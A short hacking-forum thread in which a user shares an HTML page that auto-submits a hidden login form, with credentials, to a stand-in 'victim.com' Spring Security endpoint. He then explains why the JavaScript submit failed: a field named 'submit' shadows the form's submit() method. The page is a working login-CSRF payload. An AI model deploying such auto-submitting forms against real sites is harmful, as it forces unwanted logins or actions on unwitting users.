Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

Form submit via JS - CSRF


gobzi's Avatar
Member
10 0

Hey,

I'm banging my head here, maybe being stupid.. When I submit the following request it wont log me in. However, it logs me in when I use purely HTML markup<input type="submit" value="Submit request" /> Also, when I submit different POST requests, JS submit works fine! :|

(ignore the PHP tags)

[php]<html> <body> <form action="https://victim.com/j_spring_security_check" method="POST"> <input type="hidden" name="j&#95;username" value="uatuser1&#64;victim&#46;com" /> <input type="hidden" name="j&#95;password" value="Aa123456" /> <input type="hidden" name="submit" value="Sign&#32;In" /> </form> <script>document.forms[0].submit();</script> </body> </html> [/php]


gobzi's Avatar
Member
10 0

lol there's a conflict between the parameter submit and submit() :D:D